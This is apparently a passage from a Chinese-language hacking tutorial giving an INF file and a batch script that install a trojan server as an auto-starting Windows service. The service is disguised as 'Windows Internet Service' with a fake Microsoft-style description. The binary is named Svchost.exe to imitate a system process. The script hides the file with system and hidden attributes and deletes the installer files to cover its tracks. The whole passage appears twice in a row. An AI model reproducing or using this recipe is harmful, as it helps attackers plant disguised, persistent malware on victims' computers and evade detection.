[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service //服务名
Description=Provides to the Internet information service management support 。 //服务描述
ServiceType=0x10 //服务类型为独立进程服务
StartType=2 //由SCM(服务控制管理器)自动启动
ErrorControl=0 //错误控制忽略
ServiceBinary=%10%\Svchost.exe //服务程序位置
这是我们要新建的inf内容,后面有注释哈,我就不多解释了~
我们可以用rundll32.exe来将这个文件注册成系统服务,用如下命令:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 +你的inf文件路径
现在来看看我修改过后的bat.bat文件:
@echo off //隐藏窗口
@rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf //注册服务
@%systemroot%\system32\run.exe //运行
@attrib +a +s +h %systemroot%\Svchost.exe //隐藏服务端文件
@net start inetsvr //启动服务
@del /q /f /s %systemroot%\system32\inetsvr.inf //下面的都是删除用过的文件了
@del /q /f /s %systemroot%\system32\run.exe
@del /q /f /s %systemroot%\system32\bat.vbs
@del /q /f /s %systemroot%\system32\bat.bat
只是把reg文件给换成了inf文件
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service //服务名
Description=Provides to the Internet information service management support 。 //服务描述
ServiceType=0x10 //服务类型为独立进程服务
StartType=2 //由SCM(服务控制管理器)自动启动
ErrorControl=0 //错误控制忽略
ServiceBinary=%10%\Svchost.exe //服务程序位置
这是我们要新建的inf内容,后面有注释哈,我就不多解释了~
我们可以用rundll32.exe来将这个文件注册成系统服务,用如下命令:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 +你的inf文件路径
现在来看看我修改过后的bat.bat文件:
@echo off //隐藏窗口
@rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf //注册服务
@%systemroot%\system32\run.exe //运行
@attrib +a +s +h %systemroot%\Svchost.exe //隐藏服务端文件
@net start inetsvr //启动服务
@del /q /f /s %systemroot%\system32\inetsvr.inf //下面的都是删除用过的文件了
@del /q /f /s %systemroot%\system32\run.exe
@del /q /f /s %systemroot%\system32\bat.vbs
@del /q /f /s %systemroot%\system32\bat.bat
只是把reg文件给换成了inf文件